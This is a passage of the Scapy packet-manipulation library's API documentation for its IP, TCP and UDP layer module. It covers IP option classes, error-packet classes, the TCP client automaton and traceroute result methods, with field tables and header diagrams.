	length

	FieldLenField

	None



	pointer

	ByteField

	4



	routers

	FieldListField

	[]











	
get_current_router()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L195-L196]

	








	
class scapy.layers.inet.IPOption_Router_Alert(_pkt, /, *, copy_flag=1, optclass=0, option=20, length=4, alert=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L276-L282]

	Bases: IPOption


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |             ALERT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IPOption_Router_Alert                    


IPOption_Router_Alert fields






	copy_flag

	BitField  (1 bit)

	1



	optclass

	BitEnumField

	0



	option

	BitEnumField

	20



	length

	ByteField

	4



	alert

	ShortEnumField

	0















	
class scapy.layers.inet.IPOption_SDBM(_pkt, /, *, copy_flag=1, optclass=0, option=21, length=None, addresses=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L285-L294]

	Bases: IPOption


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |           ADDRESSES           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IPOption_SDBM                        


IPOption_SDBM fields






	copy_flag

	BitField  (1 bit)

	1



	optclass

	BitEnumField

	0



	option

	BitEnumField

	21



	length

	FieldLenField

	None



	addresses

	FieldListField

	[]















	
class scapy.layers.inet.IPOption_SSRR(_pkt, /, *, copy_flag=1, optclass=0, option=9, length=None, pointer=4, routers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L205-L208]

	Bases: IPOption_RR


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |    POINTER    |    ROUTERS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. IPOption_SSRR                        


IPOption_SSRR fields






	copy_flag

	BitField  (1 bit)

	1



	optclass

	BitEnumField

	0



	option

	BitEnumField

	9



	length

	FieldLenField

	None



	pointer

	ByteField

	4



	routers

	FieldListField

	[]















	
class scapy.layers.inet.IPOption_Security(_pkt, /, *, copy_flag=1, optclass=0, option=2, length=11, security=0, compartment=0, handling_restrictions=0, transmission_control_code=b'xxx')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L171-L181]

	Bases: IPOption


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |            SECURITY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          COMPARTMENT          |     HANDLING RESTRICTIONS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TRANSMISSION CONTROL CODE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IPOption_Security                      


IPOption_Security fields






	copy_flag

	BitField  (1 bit)

	1



	optclass

	BitEnumField

	0



	option

	BitEnumField

	2



	length

	ByteField

	11



	security

	ShortField

	0



	compartment

	ShortField

	0



	handling_restrictions

	ShortField

	0



	transmission_control_code

	StrFixedLenField

	b'xxx'















	
class scapy.layers.inet.IPOption_Stream_Id(_pkt, /, *, copy_flag=1, optclass=0, option=8, length=4, security=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L211-L217]

	Bases: IPOption


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |            SECURITY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IPOption_Stream_Id                      


IPOption_Stream_Id fields






	copy_flag

	BitField  (1 bit)

	1



	optclass

	BitEnumField

	0



	option

	BitEnumField

	8



	length

	ByteField

	4



	security

	ShortField

	0















	
class scapy.layers.inet.IPOption_Timestamp(_pkt, /, *, copy_flag=0, optclass=2, option=4, length=None, pointer=9, oflw=0, flg=1, internet_address='0.0.0.0', timestamp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L244-L263]

	Bases: IPOption


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |    POINTER    |  OFLW |  FLG  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        INTERNET ADDRESS                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IPOption_Timestamp                      


IPOption_Timestamp fields






	copy_flag

	BitField  (1 bit)

	0



	optclass

	BitEnumField

	2



	option

	BitEnumField

	4



	length

	ByteField

	None



	pointer

	ByteField

	9



	oflw

	BitField  (4 bits)

	0



	flg

	BitEnumField

	1



	internet_address

	IPField (Cond)

	'0.0.0.0'



	timestamp

	IntField

	0











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L260-L263]

	








	
class scapy.layers.inet.IPOption_Traceroute(_pkt, /, *, copy_flag=0, optclass=0, option=18, length=12, id=0, outbound_hops=0, return_hops=0, originator_ip='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L233-L241]

	Bases: IPOption


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         OUTBOUND HOPS         |          RETURN HOPS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ORIGINATOR IP                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IPOption_Traceroute                     


IPOption_Traceroute fields






	copy_flag

	BitField  (1 bit)

	0



	optclass

	BitEnumField

	0



	option

	BitEnumField

	18



	length

	ByteField

	12



	id

	ShortField

	0



	outbound_hops

	ShortField

	0



	return_hops

	ShortField

	0



	originator_ip

	IPField

	'0.0.0.0'















	
class scapy.layers.inet.IPTools[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L79-L96]

	Bases: object

Add more powers to a class with an “src” attribute.


	
hops()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L95-L96]

	




	
ottl()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L91-L93]

	




	
whois()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L83-L85]

	whois the source and print the output










	
class scapy.layers.inet.IPerror(_pkt, /, *, version=4, ihl=None, tos=0, len=None, id=1, flags=<Flag 0 ()>, frag=0, ttl=64, proto=0, chksum=None, src=None, dst=None, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1243-L1267]

	Bases: IP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1246-L1264]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|  IHL  |      TOS      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |FLAGS|           FRAG          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TTL      |     PROTO     |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SRC                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IPerror                           


IPerror fields






	version

	BitField  (4 bits)

	4



	ihl

	BitField  (4 bits)

	None



	tos

	XByteField

	0



	len

	ShortField

	None



	id

	ShortField

	1



	flags

	FlagsField

	<Flag 0 ()>



	frag

	BitField  (13 bits)

	0



	ttl

	ByteField

	64



	proto

	ByteEnumField

	0



	chksum

	XShortField

	None



	src

	SourceIPField

	None



	dst

	DestIPField

	None



	options

	PacketListField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1266-L1267]

	




	
payload_guess

	Possible sublayers:
ICMPerror, IPerror, TCPerror, UDPerror, SCTPerror










	
class scapy.layers.inet.RandTCPOptions(size=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L351-L387]

	Bases: VolatileValue






	
class scapy.layers.inet.TCP(_pkt, /, *, sport=20, dport=80, seq=0, ack=0, dataofs=None, reserved=0, flags=<Flag 2 (S)>, window=8192, chksum=None, urgptr=0, options=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L733-L811]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L774-L803]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SPORT             |             DPORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ACK                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DATAOFS|RESER|      FLAGS      |             WINDOW            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |             URGPTR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. TCP                             


TCP fields






	sport

	ShortEnumField

	20



	dport

	ShortEnumField

	80



	seq

	IntField

	0



	ack

	IntField

	0



	dataofs

	BitField  (4 bits)

	None



	reserved

	BitField  (3 bits)

	0



	flags

	FlagsField

	<Flag 2 (S)>



	window

	ShortField

	8192



	chksum

	XShortField

	None



	urgptr

	ShortField

	0



	options

	TCPOptionsField

	b''











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L768-L772]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L805-L811]

	




	
payload_guess

	Possible sublayers:
HSFZ, DoIP, SOMEIP, BGP, CRX1New, DiamG, ENIPTCP, LDP, ModbusADURequest, ModbusADUResponse, MQTT, OpenFlow, PostgresBackend, PostgresFrontend, RTR, RTSP, Skinny, SOCKS, STUN, TacacsHeader, DceRpc, DNS, HTTP, UDP, KerberosTCPHeader, KpasswdTCPHeader, LDAP, NBTSession, PPTP, Skinny






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L747-L766]

	








	
class scapy.layers.inet.TCPAOValue(_pkt, /, *, keyid=None, rnextkeyid=None, mac=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L333-L339]

	Bases: Packet

Value of TCP-AO option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     KEYID     |   RNEXTKEYID  |              MAC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. TCPAOValue                          


TCPAOValue fields






	keyid

	ByteField

	None



	rnextkeyid

	ByteField

	None



	mac

	StrLenField

	b''















	
class scapy.layers.inet.TCPOptionsField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L390-L485]

	Bases: StrField


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L393-L400]

	




	
i2h(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L439-L442]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L444-L482]

	




	
islist = 1

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L402-L437]

	




	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L484-L485]

	








	
class scapy.layers.inet.TCP_client(self, ip, port, srcip=None, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2145-L2320]

	Bases: Automaton

Creates a TCP Client Automaton.
This automaton will handle TCP 3-way handshake.


	Usage: the easiest usage is to use it as a SuperSocket.
	>>> a = TCP_client.tcplink(HTTP, "www.google.com", 80)
>>> a.send(HTTPRequest())
>>> a.recv()










	Parameters:

	
	ip – the ip to connect to


	port – 


	src – (optional) use another source IP









	
CLOSED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ESTABLISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
LAST_ACK(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
START(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
STOP(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
STOP_SENT_FIN_ACK(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SYN_SENT(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ack_of_fin_received(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2288-L2291]

	




	
actions: Dict[str, List[_StateWrapper]] = {'ack_of_fin_received': [], 'connect': [<function TCP_client.send_syn>], 'fin_received': [<function TCP_client.send_finack>], 'incoming_data_received': [<function TCP_client.receive_data>], 'outgoing_data_received': [<function TCP_client.send_data>], 'reset_received': [], 'stop_ack_timeout': [], 'stop_fin_received': [<function TCP_client.stop_send_ack>], 'stop_requested': [<function TCP_client.stop_send_finack>], 'syn_ack_timeout': [], 'synack_received': [<function TCP_client.send_ack_of_synack>]}

	




	
breakpoints: Set[_StateWrapper]

	




	
conditions: Dict[str, List[_StateWrapper]] = {'CLOSED': [], 'ESTABLISHED': [], 'LAST_ACK': [], 'START': [<function TCP_client.connect>], 'STOP': [<function TCP_client.stop_requested>], 'STOP_SENT_FIN_ACK': [], 'SYN_SENT': []}

	




	
connect()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2221-L2223]

	




	
eofs: Dict[str, _StateWrapper] = {}

	




	
fin_received(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2276-L2279]

	




	
incoming_data_received(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2242-L2245]

	




	
initial_states: List[_StateWrapper] = [<function ATMT.state.<locals>.deco.<locals>._state_wrapper>]

	




	
intercepted_packet: None | Packet

	




	
interception_points: Set[_StateWrapper]

	




	
ioevents: Dict[str, List[_StateWrapper]] = {'CLOSED': [], 'ESTABLISHED': [<function TCP_client.outgoing_data_received>], 'LAST_ACK': [], 'START': [], 'STOP': [], 'STOP_SENT_FIN_ACK': [], 'SYN_SENT': []}

	




	
ionames: List[str] = ['tcp']

	




	
iosupersockets: List[SuperSocket] = [<function TCP_client.outgoing_data_received>]

	




	
listen_sock: SuperSocket | None

	




	
master_filter(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2183-L2191]

	




	
outgoing_data_received(fd)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2261-L2263]

	




	
packets: PacketList

	




	
parse_args(ip, port, srcip=None, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2160-L2177]

	




	
receive_data(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2247-L2259]

	




	
recv_conditions: Dict[str, List[_StateWrapper]] = {'CLOSED': [], 'ESTABLISHED': [<function TCP_client.incoming_data_received>, <function TCP_client.reset_received>, <function TCP_client.fin_received>], 'LAST_ACK': [<function TCP_client.ack_of_fin_received>], 'START': [], 'STOP': [], 'STOP_SENT_FIN_ACK': [<function TCP_client.stop_fin_received>], 'SYN_SENT': [<function TCP_client.synack_received>]}

	




	
reset_received(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2271-L2274]

	




	
send_ack_of_synack(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2236-L2240]

	




	
send_data(d)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2265-L2269]

	




	
send_finack(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2281-L2286]

	




	
send_sock: SuperSocket | None

	




	
send_syn()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2225-L2229]

	




	
states: Dict[str, _StateWrapper] = {'CLOSED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ESTABLISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'LAST_ACK': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'START': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'STOP': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'STOP_SENT_FIN_ACK': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SYN_SENT': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>}

	




	
stop_ack_timeout()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2318-L2320]

	




	
stop_fin_received(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2303-L2306]

	




	
stop_requested()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2293-L2295]

	




	
stop_send_ack(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2308-L2312]

	




	
stop_send_finack()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2297-L2301]

	




	
stop_state(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
syn_ack_timeout()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2314-L2316]

	




	
synack_received(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2231-L2234]

	




	
tcplink = <scapy.automaton._ATMT_to_supersocket object>

	




	
threadid: int | None

	




	
timeout: Dict[str, _TimerList] = {'CLOSED': [], 'ESTABLISHED': [], 'LAST_ACK': [], 'START': [], 'STOP': [], 'STOP_SENT_FIN_ACK': [<Timer 0.000000(1.000000)>], 'SYN_SENT': [<Timer 0.000000(1.000000)>]}

	








	
class scapy.layers.inet.TCPerror(_pkt, /, *, sport=20, dport=80, seq=0, ack=0, dataofs=None, reserved=0, flags=<Flag 2 (S)>, window=8192, chksum=None, urgptr=0, options=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1270-L1290]

	Bases: TCP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1273-L1287]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SPORT             |             DPORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ACK                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DATAOFS|RESER|      FLAGS      |             WINDOW            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |             URGPTR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. TCPerror                           


TCPerror fields






	sport

	ShortEnumField

	20



	dport

	ShortEnumField

	80



	seq

	IntField

	0



	ack

	IntField

	0



	dataofs

	BitField  (4 bits)

	None



	reserved

	BitField  (3 bits)

	0



	flags

	FlagsField

	<Flag 2 (S)>



	window

	ShortField

	8192



	chksum

	XShortField

	None



	urgptr

	ShortField

	0



	options

	TCPOptionsField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1289-L1290]

	








	
class scapy.layers.inet.TracerouteResult(res=None, name='Traceroute', stats=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1605-L2090]

	Bases: SndRcvList


	
get_trace()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1622-L1639]

	




	
graph(ASres=<scapy.as_resolvers.AS_resolver_multi object>, padding=0, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2076-L2090]

	x.graph(ASres=conf.AS_resolver, other args):
ASres=None          : no AS resolver => no clustering
ASres=AS_resolver() : default whois AS resolver (riswhois.ripe.net)
ASres=AS_resolver_cymru(): use whois.cymru.com whois database
ASres=AS_resolver(server=”whois.ra.net”)
type: output type (svg, ps, gif, jpg, etc.), passed to dot’s “-T” option  # noqa: E501
target: filename or redirect. Defaults pipe to Imagemagick’s display program  # noqa: E501
prog: which graphviz program to use






	
graphASres

	




	
graphdef

	




	
graphpadding

	




	
hloc

	




	
make_graph(ASres=None, padding=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1933-L2074]

	




	
nloc

	




	
padding

	




	
show()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1617-L1620]

	




	
trace3D(join=True)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1641-L1654]

	Give a 3D representation of the traceroute.
right button: rotate the scene
middle button: zoom
shift-left button: move the scene
left button on a ball: toggle IP displaying
double-click button on a ball: scan ports 21,22,23,25,80 and 443 and display the result






	
trace3D_notebook()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1656-L1800]

	Same than trace3D, used when ran from Jupyter notebooks






	
world_trace()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1802-L1931]

	Display traceroute results on a world map.










	
class scapy.layers.inet.UDP(_pkt, /, *, sport=53, dport=53, len=None, chksum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L814-L867]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L853-L859]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L846-L848]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SPORT             |             DPORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. UDP                             


UDP fields






	sport

	ShortEnumField

	53



	dport

	ShortEnumField

	53



	len

	ShortField

	None



	chksum

	XShortField

	None











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L850-L851]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L861-L867]

	




	
payload_guess

	Possible sublayers:
PDUTransport, DoIP, SOMEIP, BFD, BIFT, CoAP, CRX1New, GENEVE, GTPHeader, GTP_U_Header, HICP, IKEv2, KNX, LDP, LTP, MPLS, MQTTSN, PFCP, ProfinetIO, RIPng, BTH, SebekHead, SOCKS5UDP, STAMPSessionReflectorTestUnauthenticated, STAMPSessionSenderTestUnauthenticated, STUN, VQP, Wireguard, BOOTP, _dhcp6_dispatcher, DNS, HSRP, ESP, Kerberos, Kpasswd, GRE, L2TP, CLDAP, _LLMNR, MGCP, MobileIP, NBNSHeader, NBTDatagram, NetflowHeader, NTP, Radius, RIP, SNMP, TFTP, VXLAN, ZEP2






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L821-L844]

	








	
class scapy.layers.inet.UDPerror(_pkt, /, *, sport=53, dport=53, len=None, chksum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1293-L1306]

	Bases: UDP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1296-L1303]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
